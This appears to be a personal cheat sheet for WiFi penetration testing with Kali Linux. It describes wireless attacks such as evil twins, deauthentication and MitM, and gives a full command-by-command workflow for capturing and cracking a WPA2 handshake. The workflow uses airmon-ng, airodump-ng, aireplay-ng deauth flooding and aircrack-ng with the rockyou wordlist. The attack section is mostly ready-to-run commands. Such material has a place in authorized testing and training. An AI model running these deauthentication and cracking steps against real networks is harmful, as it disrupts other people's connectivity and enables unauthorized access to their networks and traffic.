ip link show #List available interfaces

iwconfig #List available interfaces

airmon-ng check kill #Kill annoying processes

airmon-ng start wlan0 #Monitor mode

airmon-ng stop wlan0mon #Managed mode

airodump-ng wlan0mon #Scan (default 2.4Ghz)

airodump-ng wlan0mon --band a #Scan 5Ghz

iwconfig wlan0 mode monitor #Put in mode monitor

iwconfig wlan0mon mode managed #Quit mode monitor - managed mode

iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

**Wireless Attacks:**

**Rogue Access Points:** In this attack, the attacker sets up a fake wireless access point that looks like a legitimate access point. When a user connects to the fake access point, the attacker can intercept and steal the user's login credentials or other sensitive information.

**Evil Twins:** This is similar to the RAP attack, but instead of creating a fake access point from scratch, the attacker sets up a fake access point that mimics an existing legitimate access point. When a user connects to the fake access point, the attacker can intercept and steal the user's login credentials or other sensitive information.

**Denial of Service (DoS) Attack:** In this attack, the attacker floods the wireless network with a large number of requests or traffic, which can overwhelm the network and cause it to crash or become unavailable.

* **Deauthentication Packets**

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0

* **Disassociation Packets**

**Man-in-the-Middle (MitM) Attack:** In this attack, the attacker intercepts the communication between two devices on the wireless network, allowing them to eavesdrop on the communication or even modify the content of the communication.

**Password Cracking Attack:** This type of attack involves using specialized software tools to crack the password used to secure the wireless network. Once the password is cracked, the attacker can gain access to the network and any sensitive information being transmitted over it.

EAPHammer > Used for Evil-Twin Attacks

**Cracking WiFi WPA2 Handshake**

Commands used:

================

! See version of Kali

cat /etc/os-release

uname -a

! See interfaces

ip addr

iwconfig

!kill processes

sudo airmon-ng check kill

!Start monitor mode

sudo airmon-ng start wlan0

!Verify that monitor mode is used

sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:

iwconfig

! Get the AP's MAC address and channel

sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:

ESSID: 90:9A:4A:B8:F3:FB

Channel used by AP for SSID: 2

!1st Window:

!Make sure you replace the channel number and bssid with your own

!Replace hack1 with your file name like capture1 or something

sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack

!Make sure you replace the bssid with your own

sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file

wireshark hack1-01.cap

!Filter Wireshark messages for EAPOL

eapol

!Stop monitor mode

airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist

!Make sure you have rockyou in text format (unzip file on Kali)

!Replace hack1-01.cap with your file name

aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

**Brute force WiFi WPA2 > David Bombal**

**Airbase-ng tool**

**Airgeddon**

**Kismet**

Here are some common WiFi penetration vulnerabilities that can be targeted by attackers:

* Weak passwords: Many WiFi networks use weak passwords that are easy to guess or crack. Attackers can use brute-force attacks or dictionary attacks to guess the password or exploit vulnerabilities in the WPS protocol.
* Misconfigured access points: Access points that are not configured properly can be vulnerable to various attacks. For example, access points that use outdated encryption protocols or have weak encryption settings can be easily exploited.
* Rogue access points: Attackers can set up a fake access point with the same name as a legitimate one to trick users into connecting to it. Once connected, the attacker can intercept traffic or launch attacks.
* Man-in-the-middle attacks: Attackers can intercept traffic between a client and an access point to steal sensitive information or modify traffic.
* Denial-of-service attacks: Attackers can flood a WiFi network with traffic to prevent legitimate users from connecting or accessing the network.
* Injection attacks: Attackers can inject malicious packets into a WiFi network to exploit vulnerabilities in the connected devices or access points.
* Social engineering attacks: Attackers can use social engineering techniques to trick users into giving up sensitive information or performing actions that compromise the security of the network.